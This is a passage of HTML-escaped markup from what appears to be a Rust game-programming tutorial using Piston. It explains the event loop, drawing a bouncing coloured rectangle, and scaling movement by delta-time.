&lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Do things that have to be done every frame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Rust&amp;#39;s automagical resource management means we&amp;#39;re done!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now comes the event loop - that &lt;code&gt;// Do things that have to be done every frame&lt;/code&gt;. The &lt;code&gt;window&lt;/code&gt; has a function &lt;code&gt;.next()&lt;/code&gt; which returns an &lt;code&gt;Option&lt;/code&gt; of the event, so we simply iterate over all the events and match the two we&amp;rsquo;re interested in: &lt;code&gt;Render&lt;/code&gt; and &lt;code&gt;Update&lt;/code&gt;. These both come with some useful information such as delta-time, but for now we&amp;rsquo;re just throwing that out.&lt;/p&gt;&#xA;&lt;p&gt;Updating is easy; there&amp;rsquo;s a single method call, which is given the resolution of the window. Drawing is pretty easy as well; the &lt;code&gt;PistonWindow&lt;/code&gt; instance has a &lt;code&gt;.draw_2d()&lt;/code&gt; function that takes a lambda. In this case we tell it to clear the whole window to a [1.0, 1.0, 1.0, 1.0] color, or an opaque white, and then create a &lt;code&gt;rectangle&lt;/code&gt; with the color and position arrays we already have in our &lt;code&gt;ColoredRectangle&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(e)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window.next()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;e&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Render(_)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;window.draw_2d(&amp;amp;e,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|c,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;clear([&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Clear to white&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;rectangle(rect.color,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Color&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                          &lt;/span&gt;rect.position,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Position/size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                          &lt;/span&gt;c.transform,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Update(_)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;rect.update((&lt;span style=&#34;color:#00f&#34;&gt;640.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;480.0&lt;/span&gt;));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is now a complete program; &lt;code&gt;cargo run&lt;/code&gt; results in a nice white window with a colored square bouncing off the walls.&lt;/p&gt;&#xA;&lt;h2 id=&#34;controls--full-event-support&#34;&gt;Controls &amp;amp; Full Event Support&lt;/h2&gt;&#xA;&lt;p&gt;No game engine is complete without user interaction, of course; so let&amp;rsquo;s give the user the ability to set the velocity! This is also a great time to integrate the delta-time provided by the update function; it tells the game logic how many fractions of a second have passed since the last update. This helps keeps updates consistent and lets you avoid &lt;a href=&#34;http://www.sierrahelp.com/Utilities/SlowdownUtilities.html&#34;&gt;the pitfalls of old Windows games&lt;/a&gt;. This entails a few small changes. First, we have to add &lt;code&gt;dt&lt;/code&gt; arguments to the &lt;code&gt;update&lt;/code&gt; and &lt;code&gt;update_color&lt;/code&gt; functions. Because colors are calculated in &lt;code&gt;f32&lt;/code&gt; space and position is calculated in &lt;code&gt;f64&lt;/code&gt; space, we make the &lt;code&gt;dt&lt;/code&gt; argument to &lt;code&gt;update&lt;/code&gt; an &lt;code&gt;f64&lt;/code&gt; and the one to &lt;code&gt;update_color&lt;/code&gt;  an &lt;code&gt;f32&lt;/code&gt;, and downcast inside of update. Then we multiply all the time sensitive transforms by &lt;code&gt;dt&lt;/code&gt;, and grab the &lt;code&gt;UpdateArgs&lt;/code&gt; object from the &lt;code&gt;Event::Update&lt;/code&gt; in the match expression. The example was running at around 120 FPS on my machine, so I stuck in a &lt;code&gt;* 120&lt;/code&gt; to make the speed about the same.&lt;/p&gt;&#xA;&lt;p&gt;So the changes are like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;color: [&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.5&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.25&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;position: [&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;velocity: [&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// X updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Y updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update_color(dt: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;)-&amp;gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.001&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 